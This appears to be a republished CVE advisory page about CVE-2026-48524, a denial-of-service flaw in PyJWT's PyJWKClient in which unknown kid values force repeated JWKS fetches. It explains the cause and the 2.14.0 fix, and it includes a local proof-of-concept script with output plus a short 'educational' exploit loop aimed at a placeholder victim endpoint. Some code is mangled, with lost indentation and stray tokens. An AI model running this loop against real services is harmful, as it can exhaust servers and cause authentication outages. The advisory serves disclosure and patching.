PyJWT, PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS), CVE-2026-48524 -DC-Sep2026-2640

Listen to this Post

CVE-2026-48524 affects PyJWT’s PyJWKClient.

It was tracked as GHSA-fhv5-28vv-h8m8.

The vulnerability is an unauthenticated denial of service.

Attacker-controlled kid values in token headers trigger JWKS fetches.

PyJWKClient.get_signing_key(kid) handles unknown kids.

On any unknown kid, it calls get_signing_keys(refresh=True).

refresh=True bypasses jwk_set_cache unconditionally.

It forces a fresh fetch_data() call.

The kid is read from the unverified token header.

get_signing_key_from_jwt decodes with verify_signature=False.

No valid token is required.

No authentication is required.

lru_cache does not cache the raised exception.

Even the same unknown kid re-fetches every call.

CVE-2026-48524 was fixed in 2.13.0 for one path.

fetch_data() no longer clears cache on fetch error.

But no rate-limit was added.

No negative-cache was added.

No minimum-refresh-interval was added.

Affected versions are pyjwt <= 2.13.0.

No fixed version existed at the time of the advisory.

A PoC on 2.13.0 used cache_keys=True and lifespan=3600.

Eight distinct unknown kids caused nine fetches.

Five repeated same unknown kids caused five extra fetches.

Each unknown kid forces a fresh JWKS fetch.

Repeated identical unknown kid re-fetches against unexpired cache.

One unauthenticated request causes one outbound JWKS HTTP fetch.

Victim also performs full JSON parse.

Amplification path is attacker -> victim -> IdP.

This exhausts victim CPU and sockets.

It can trip JWKS provider rate-limit.

It can cause application-wide auth outage.

Suggested fix: negative-cache unknown kids for short TTL.

Or enforce minimum interval between forced refreshes.

Maintainer fix on master commit ba4853a.

PyJWKClient applies 30-second cooldown after successful fetches.

Concurrent refresh decisions are serialized per client.

Callers can configure or disable cooldown.

Cache-disabled behavior remains unchanged.

Immediate retry after failed fetches remains unchanged.

Regression tests cover repeated unknown kids and cooldown expiry.

PyJWT 2.14.0 released 2026-09-11 contains verified fix.

Reported by Babakizo (Securva).

DailyCVE Form:

Platform: PyJWT
Version: <= 2.13.0
Vulnerability: Unbounded JWKS fetches
Severity: Not specified
date: 2026-09-11

Prediction: 2026-09-11

(end of form)

What Undercode Say:

pip install pyjwt==2.13.0
python -c "import jwt; print(jwt.<strong>version</strong>)"
import threading, http.server, socketserver, json
from jwt import PyJWKClient
hits = {'n': 0}
JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
hits['n'] += 1
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(JWKS)
def log_message(self,a):
pass
srv = socketserver.TCPServer(('127.0.0.1',0), H)
port = srv.server_address[bash]
threading.Thread(target=srv.serve_forever, daemon=True).start()
c = PyJWKClient(f'http://127.0.0.1:{port}/jwks.json', cache_keys=True, lifespan=3600)
for i in range(8):
try:
c.get_signing_key(f'attacker-unknown-kid-{i}')
except Exception:
pass
before = hits['n']
for _ in range(5):
try:
c.get_signing_key('same-unknown')
except Exception:
pass
print('distinct unknown kids: 8 -> fetches:', hits['n'])
print('same unknown kid x5 -> extra fetches:', hits['n'] - before)

Output:

distinct unknown kids: 8 -> fetches: 9

same unknown kid x5 -> extra fetches: 5

Exploit: (Educational Purposes!)

from jwt import PyJWKClient
c = PyJWKClient("https://victim.example/jwks.json", cache_keys=True, lifespan=3600)
for i in range(1000):
try:
c.get_signing_key(f"attacker-unknown-kid-{i}")
except Exception:
pass

Protection: from this CVE Impact:

pip install --upgrade pyjwt==2.14.0
negative-cache unknown kids for short TTL
enforce minimum interval between forced JWKS refreshes
apply 30-second cooldown after successful JWKS fetches
serialize concurrent refresh decisions per client
allow callers to configure or disable cooldown

Impact:

One unauthenticated request causes one outbound JWKS HTTP fetch.

Attacker floods junk kids.

Victim hammers JWKS/IdP endpoint.

Exhausts CPU/sockets.

Trips provider rate-limit.

Causes application-wide auth outage.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top